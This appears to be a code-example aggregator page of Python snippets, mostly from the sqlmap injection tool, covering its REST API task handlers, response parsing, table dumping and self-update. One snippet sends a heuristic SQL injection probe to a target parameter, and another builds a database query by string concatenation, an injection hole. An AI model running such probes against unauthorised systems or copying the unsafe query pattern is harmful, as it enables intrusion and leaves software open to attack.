Ejemplo n.º 1
0
def heuristicCheckSqlInjection(place, parameter, value):
    if kb.nullConnection:
        debugMsg  = "heuristic checking skipped "
        debugMsg += "because NULL connection used"
        logger.debug(debugMsg)
        return

    prefix = ""
    suffix = ""

    if conf.prefix or conf.suffix:
        if conf.prefix:
            prefix = conf.prefix

        if conf.suffix:
            suffix = conf.suffix

    payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix)
    payload = agent.payload(place, parameter, value, payload)
    Request.queryPage(payload, place, raise404=False)
    result = wasLastRequestDBMSError()

    infoMsg  = "heuristics shows that %s " % place
    infoMsg += "parameter '%s' might " % parameter

    if result:
        infoMsg += "be injectable (possible DBMS: %s)" % (kb.htmlFp[-1] if kb.htmlFp else 'Unknown')
        logger.info(infoMsg)
    else:
        infoMsg += "not be injectable"
        logger.warning(infoMsg)
Ejemplo n.º 2
0
    def connect(self):
        self.initConnection()
        self.checkFileDb()

        try:
            self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout)

            cursor = self.connector.cursor()
            cursor.execute("SELECT * FROM sqlite_master")
            cursor.close()

        except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg:
            warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2"
            logger.warning(warnMsg)

            try:
                try:
                    import sqlite
                except ImportError, _:
                    errMsg  = "sqlmap requires 'python-sqlite2' third-party library "
                    errMsg += "in order to directly connect to the database '%s'" % self.db
                    raise sqlmapMissingDependence, errMsg

                self.__sqlite = sqlite
                self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout)
Ejemplo n.º 3
0
def processResponse(page, responseHeaders):
    kb.processResponseCounter += 1

    page = page or ""

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg)

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])

    if re.search(BLOCKED_IP_REGEX, page):
        errMsg = "it appears that you have been blocked by the target server"
        singleTimeLogMessage(errMsg, logging.ERROR)
Ejemplo n.º 4
0
def scan_data(taskid):
    """
    Retrieve the data of a scan
    """
    json_data_message = list()
    json_errors_message = list()

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    # Read all data from the IPC database for the taskid
    for status, content_type, value in DataStore.current_db.execute(
            "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC",
            (taskid,)):
        json_data_message.append(
            {"status": status, "type": content_type, "value": dejsonize(value)})

    # Read all error messages from the IPC database
    for error in DataStore.current_db.execute(
            "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC",
            (taskid,)):
        json_errors_message.append(error)

    logger.debug("[%s] Retrieved scan data and error messages" % taskid)
    return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
Ejemplo n.º 5
0
def scan_log_limited(taskid, start, end):
    """
    Retrieve a subset of log messages
    """
    json_log_messages = list()

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    if not start.isdigit() or not end.isdigit() or end < start:
        logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid)
        return jsonize({"success": False, "message": "Invalid start or end value, must be digits"})

    start = max(1, int(start))
    end = max(1, int(end))

    # Read a subset of log messages from the IPC database
    for time_, level, message in DataStore.current_db.execute(
            ("SELECT time, level, message FROM logs WHERE "
             "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"),
            (taskid, start, end)):
        json_log_messages.append({"time": time_, "level": level, "message": message})

    logger.debug("[%s] Retrieved scan log messages subset" % taskid)
    return jsonize({"success": True, "log": json_log_messages})
Ejemplo n.º 6
0
def writedb(conn, ports, ID):
    try:
        cur = conn.cursor()
        cur.execute("update host set port='"+ports+"' where id="+ID)
        conn.commit()
    except Exception as e:
        logger.warning(e)
        return
Ejemplo n.º 7
0
def option_list(taskid):
    """
    List options for a certain task ID
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_list()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    logger.debug("[%s] Listed task options" % taskid)
    return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()})
Ejemplo n.º 8
0
def processResponse(page, responseHeaders, status=None):
    kb.processResponseCounter += 1

    page = page or ""

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
    else:
        kb.tableFrom = None

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    else:
                        msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name

                        if not readInput(msg, default='N', boolean=True):
                            continue

                        conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])

    if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
        kb.browserVerification = True
        warnMsg = "potential browser verification protection mechanism detected"
        if re.search(r"(?i)CloudFlare", page):
            warnMsg += " (CloudFlare)"
        singleTimeWarnMessage(warnMsg)

    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
        for match in re.finditer(r"(?si)<form.+?</form>", page):
            if re.search(r"(?i)captcha", match.group(0)):
                kb.captchaDetected = True
                warnMsg = "potential CAPTCHA protection mechanism detected"
                if re.search(r"(?i)<title>[^<]*CloudFlare", page):
                    warnMsg += " (CloudFlare)"
                singleTimeWarnMessage(warnMsg)
                break

    if re.search(BLOCKED_IP_REGEX, page):
        warnMsg = "it appears that you have been blocked by the target server"
        singleTimeWarnMessage(warnMsg)
Ejemplo n.º 9
0
def task_list(taskid):
    """
    List task pull
    """
    if is_admin(taskid):
        logger.debug("[%s] Listed task pool" % taskid)
        tasks = list(DataStore.tasks)
        return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})
    else:
        logger.warning("[%s] Unauthorized call to task_list()" % taskid)
        return jsonize({"success": False, "message": "Unauthorized"})
Ejemplo n.º 10
0
def check_fingerprint():
    result = Wappalyzer(datafile_path=paths.PAYLOAD_PATH + '/apps.json').analyze()
    if result == None:
        logger.warning("analyze error")
        print 'analyze error!'
        return 'None'
    if result.has_key('status_code') == True:
        headers = ''
        for i in result['headers']:
            headers += i + ':' + result['headers'][i] + '\r\n'
        result['headers'] = headers
        content = result['html'].lower()
        tmp_form = re.findall(FingerPrintRules.FromRegex, content)
        tmp_title = re.findall(FingerPrintRules.TitleRegex, content)
        result['title'] = 'None'
        if tmp_title:
            result['title'] = tmp_title[0]

        '''
        tmp_language = re.findall(FingerPrintRules.LanguageRegex, headers.lower())
        if tmp_form:
            if '.php' in tmp_form:
                result['language'] = 'php'
            elif '.asp' in tmp_form or '.aspx' in tmp_form:
                result['language'] = 'asp'
            elif '.jsp' in tmp_form or '.do' in tmp_form or '.action' in tmp_form:
                result['language'] = 'jsp'
            else:
                result['language'] = 'UnKnown'
        else:
            result['language'] = 'UnKnown'
        if result['language'] == 'UnKnown':
            if tmp_language:
                if 'php' in tmp_language:
                    result['language'] = tmp_language
                elif 'asp' in tmp_language:
                    result['language'] = tmp_language
                elif 'jsp' in tmp_language or 'servlet' in tmp_language:
                    result['language'] = tmp_language
                else:
                    result['language'] = 'UnKnown'
        else:
            result['language'] = 'UnKnown'
        if result['language'] == 'UnKnown':
            if result['web-servers'].lower() in ['nginx']:
                result['language'] = 'php'
            elif result['web-servers'].lower() in ['tomcat']:
                result['language'] = 'jsp'
            elif result['web-servers'].lower() in ['iis']:
                result['language'] = 'asp/aspx'
            else:
                result['language'] = 'UnKnown'
    '''
    return result
Ejemplo n.º 11
0
def task_flush(taskid):
    """
    Flush task spool (delete all tasks)
    """
    if is_admin(taskid):
        DataStore.tasks = dict()
        logger.debug("[%s] Flushed task pool" % taskid)
        return jsonize({"success": True})
    else:
        logger.warning("[%s] Unauthorized call to task_flush()" % taskid)
        return jsonize({"success": False, "message": "Unauthorized"})
Ejemplo n.º 12
0
def task_delete(taskid):
    """
    Delete own task ID
    """
    if taskid in DataStore.tasks:
        DataStore.tasks.pop(taskid)

        logger.debug("[%s] Deleted task" % taskid)
        return jsonize({"success": True})
    else:
        logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})
Ejemplo n.º 13
0
def scan_kill(taskid):
    """
    Kill a scan
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    DataStore.tasks[taskid].engine_kill()

    logger.debug("[%s] Killed scan" % taskid)
    return jsonize({"success": True})
Ejemplo n.º 14
0
def task_delete(taskid):
    """
    Delete an existing task
    """
    if taskid in DataStore.tasks:
        DataStore.tasks.pop(taskid)

        logger.debug("(%s) Deleted task" % taskid)
        return jsonize({"success": True})
    else:
        response.status = 404
        logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
        return jsonize({"success": False, "message": "Non-existing task ID"})
Ejemplo n.º 15
0
def scan_kill(taskid):
    """
    Kill a scan
    """

    if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
        logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    DataStore.tasks[taskid].engine_kill()

    logger.debug("(%s) Killed scan" % taskid)
    return jsonize({"success": True})
Ejemplo n.º 16
0
def option_set(taskid):
    """
    Set an option (command line switch) for a certain task ID
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    for option, value in request.json.items():
        DataStore.tasks[taskid].set_option(option, value)

    logger.debug("[%s] Requested to set options" % taskid)
    return jsonize({"success": True})
Ejemplo n.º 17
0
def scan_status(taskid):
    """
    Returns status of a scan
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    if DataStore.tasks[taskid].engine_process() is None:
        status = "not running"
    else:
        status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running"

    logger.debug("[%s] Retrieved scan status" % taskid)
    return jsonize({"success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode()})
Ejemplo n.º 18
0
def option_get(taskid):
    """
    Get the value of an option (command line switch) for a certain task ID
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    option = request.json.get("option", "")

    if option in DataStore.tasks[taskid].options:
        logger.debug("[%s] Retrieved value for option %s" % (taskid, option))
        return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)})
    else:
        logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
        return jsonize({"success": False, "message": "Unknown option", option: "not set"})
Ejemplo n.º 19
0
def scan_log(taskid):
    """
    Retrieve the log messages
    """
    json_log_messages = list()

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    # Read all log messages from the IPC database
    for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)):
        json_log_messages.append({"time": time_, "level": level, "message": message})

    logger.debug("[%s] Retrieved scan log messages" % taskid)
    return jsonize({"success": True, "log": json_log_messages})
Ejemplo n.º 20
0
def scan_start(taskid):
    """
    Launch a scan
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    # Initialize sqlmap engine's options with user's provided options, if any
    for option, value in request.json.items():
        DataStore.tasks[taskid].set_option(option, value)

    # Launch sqlmap engine in a separate process
    DataStore.tasks[taskid].engine_start()

    logger.debug("[%s] Started scan" % taskid)
    return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()})
Ejemplo n.º 21
0
def option_set(taskid):
    """
    Set value of option(s) for a certain task ID
    """

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    if request.json is None:
        logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid)
        return jsonize({"success": False, "message": "Invalid JSON options"})

    for option, value in request.json.items():
        DataStore.tasks[taskid].set_option(option, value)

    logger.debug("(%s) Requested to set options" % taskid)
    return jsonize({"success": True})
Ejemplo n.º 22
0
def option_get(taskid):
    """
    Get value of option(s) for a certain task ID
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    options = request.json or []
    results = {}

    for option in options:
        if option in DataStore.tasks[taskid].options:
            results[option] = DataStore.tasks[taskid].options[option]
        else:
            logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option))
            return jsonize({"success": False, "message": "Unknown option '%s'" % option})

    logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))

    return jsonize({"success": True, "options": results})
Ejemplo n.º 23
0
def processResponse(page, responseHeaders):
    kb.processResponseCounter += 1

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg)

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])
Ejemplo n.º 24
0
def processResponse(page, responseHeaders):
    kb.processResponseCounter += 1

    page = page or ""

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)

    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)

    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
            match = re.search(regex, page)
            if match and PLACE.POST in conf.parameters:
                name, value = match.groups()
                if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]:
                    if conf.paramDict[PLACE.POST][name] in page:
                        continue
                    conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])

    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
        for match in re.finditer(r"(?si)<form.+?</form>", page):
            if re.search(r"(?i)captcha", match.group(0)):
                kb.captchaDetected = True
                errMsg = "potential CAPTCHA protection mechanism detected"
                singleTimeLogMessage(errMsg, logging.ERROR)
                break

    if re.search(BLOCKED_IP_REGEX, page):
        errMsg = "it appears that you have been blocked by the target server"
        singleTimeLogMessage(errMsg, logging.ERROR)
Ejemplo n.º 25
0
def scan_log_limited(taskid, start, end):
    """
    Retrieve a subset of log messages
    """

    json_log_messages = list()

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_log_limited()" %
                       taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    if not start.isdigit() or not end.isdigit() or end < start:
        logger.warning(
            "[%s] Invalid start or end value provided to scan_log_limited()" %
            taskid)
        return jsonize({
            "success": False,
            "message": "Invalid start or end value, must be digits"
        })

    start = max(1, int(start))
    end = max(1, int(end))

    # Read a subset of log messages from the IPC database
    for time_, level, message in DataStore.current_db.execute(
            "SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC",
        (taskid, start, end)):
        json_log_messages.append({
            "time": time_,
            "level": level,
            "message": message
        })

    logger.debug("(%s) Retrieved scan log messages subset" % taskid)
    return jsonize({"success": True, "log": json_log_messages})
Ejemplo n.º 26
0
def scan_status(taskid):
    """
    Returns status of a scan
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_status()" %
                       taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    if DataStore.tasks[taskid].engine_process() is None:
        status = "not running"
    else:
        status = "terminated" if DataStore.tasks[taskid].engine_has_terminated(
        ) is True else "running"

    logger.debug("[%s] Retrieved scan status" % taskid)
    return jsonize({
        "success":
        True,
        "status":
        status,
        "returncode":
        DataStore.tasks[taskid].engine_get_returncode()
    })
Ejemplo n.º 27
0
def download(taskid, target, filename):
    """
    Download a certain file from the file system
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to download()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename))
    # Prevent file path traversal
    if not path.startswith(paths.SQLMAP_OUTPUT_PATH):
        logger.warning("[%s] Forbidden path (%s)" % (taskid, target))
        return jsonize({"success": False, "message": "Forbidden path"})

    if os.path.isfile(path):
        logger.debug("[%s] Retrieved content of file %s" % (taskid, target))
        with open(path, 'rb') as inf:
            file_content = inf.read()
        return jsonize({"success": True, "file": file_content.encode("base64")})
    else:
        logger.warning("[%s] File does not exist %s" % (taskid, target))
        return jsonize({"success": False, "message": "File does not exist"})
Ejemplo n.º 28
0
Archivo: api.py Proyecto: zensec/sqlmap
def download(taskid, target, filename):
    """
    Download a certain file from the file system
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to download()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename))
    # Prevent file path traversal
    if not path.startswith(paths.SQLMAP_OUTPUT_PATH):
        logger.warning("[%s] Forbidden path (%s)" % (taskid, target))
        return jsonize({"success": False, "message": "Forbidden path"})

    if os.path.isfile(path):
        logger.debug("[%s] Retrieved content of file %s" % (taskid, target))
        with open(path, 'rb') as inf:
            file_content = inf.read()
        return jsonize({"success": True, "file": file_content.encode("base64")})
    else:
        logger.warning("[%s] File does not exist %s" % (taskid, target))
        return jsonize({"success": False, "message": "File does not exist"})
Ejemplo n.º 29
0
def scan_start(taskid):
    """
    Launch a scan
    """

    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to scan_start()" %
                       taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

    if request.json is None:
        logger.warning("[%s] Invalid JSON options provided to scan_start()" %
                       taskid)
        return jsonize({"success": False, "message": "Invalid JSON options"})

    for key in request.json:
        if key in RESTAPI_UNSUPPORTED_OPTIONS:
            logger.warning(
                "[%s] Unsupported option '%s' provided to scan_start()" %
                (taskid, key))
            return jsonize({
                "success": False,
                "message": "Unsupported option '%s'" % key
            })

    # Initialize sqlmap engine's options with user's provided options, if any
    for option, value in request.json.items():
        DataStore.tasks[taskid].set_option(option, value)

    # Launch sqlmap engine in a separate process
    DataStore.tasks[taskid].engine_start()

    logger.debug("(%s) Started scan" % taskid)
    return jsonize({
        "success": True,
        "engineid": DataStore.tasks[taskid].engine_get_id()
    })
Ejemplo n.º 30
0
    try:
        pluginScan()
        webScan()

    except ToolkitMissingPrivileges, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitSystemException, e:
        logger.error(e)
        systemQuit(EXIT_STATUS.ERROR_EXIT)

    except ToolkitUserQuitException:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except KeyboardInterrupt:
        systemQuit(EXIT_STATUS.USER_QUIT)

    except Exception as info:
        logger.warning("error:%s " % (str(Exception) + " " + str(info)))
        logger.warning(
            'It seems like you reached a unhandled exception, please report it to author\'s mail:<*****@*****.**> or raise a issue via:<https://github.com/boy-hacl/w9scan/issues/new>.'
        )

        # data = e.buildHtml.getData()
        # comment = "error:%s urlconfig:%s date:%s"%(str(Exception) + " " + str(info),str(urlconfig),data)
        # createIssueForBlog(comment)


if __name__ == '__main__':
    main()
Ejemplo n.º 31
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None
        appendToFile = False

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if hasattr(conf, "api"):
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = os.path.join(conf.dumpPath, re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
            appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop))
            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
            dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]

                column = unsafeSQLIdentificatorNaming(column)
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if not appendToFile:
                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, "<th>%s</th>" % cgi.escape(column).encode("ascii", "xmlcharrefreplace"))

                field += 1

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n")

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n" if not appendToFile else "")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = magic.from_buffer(value, mime=True)
                            if any(mimetype.startswith(_) for _ in ("application", "image")):
                                if not os.path.isdir(dumpDbPath):
                                    os.makedirs(dumpDbPath, 0755)

                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8)))
                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                                logger.warn(warnMsg)

                                with open(filepath, "wb") as f:
                                    _ = safechardecode(value, True)
                                    f.write(_)
                        except magic.MagicException, err:
                            logger.debug(str(err))

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        dataToDumpFile(dumpFP, "<td>%s</td>" % cgi.escape(value).encode("ascii", "xmlcharrefreplace"))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tr>\n")

            self._write("|", console=console)
Ejemplo n.º 32
0
def update():
    if not conf.updateAll:
        return

    success = False

    if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
        warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
        warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
        logger.warn(warnMsg)

        if VERSION == getLatestRevision():
            logger.info("already at the latest revision '%s'" % getRevisionNumber())
            return

        message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
        if readInput(message, default='N', boolean=True):
            directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)

            try:
                open(os.path.join(directory, "sqlmap.py"), "w+b")
            except Exception as ex:
                errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
                logger.error(errMsg)
            else:
                attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
                for wildcard in ('*', ".*"):
                    for _ in glob.glob(os.path.join(directory, wildcard)):
                        try:
                            if os.path.isdir(_):
                                shutil.rmtree(_)
                            else:
                                os.remove(_)
                        except:
                            pass

                if glob.glob(os.path.join(directory, '*')):
                    errMsg = "unable to clear the content of directory '%s'" % directory
                    logger.error(errMsg)
                else:
                    try:
                        archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0]

                        with zipfile.ZipFile(archive) as f:
                            for info in f.infolist():
                                info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
                                if info.filename:
                                    f.extract(info, directory)

                        filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
                        if os.path.isfile(filepath):
                            with openFile(filepath, "rb") as f:
                                version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
                                logger.info("updated to the latest version '%s#dev'" % version)
                                success = True
                    except Exception as ex:
                        logger.error("update could not be completed ('%s')" % getSafeExString(ex))
                    else:
                        if not success:
                            logger.error("update could not be completed")
                        else:
                            try:
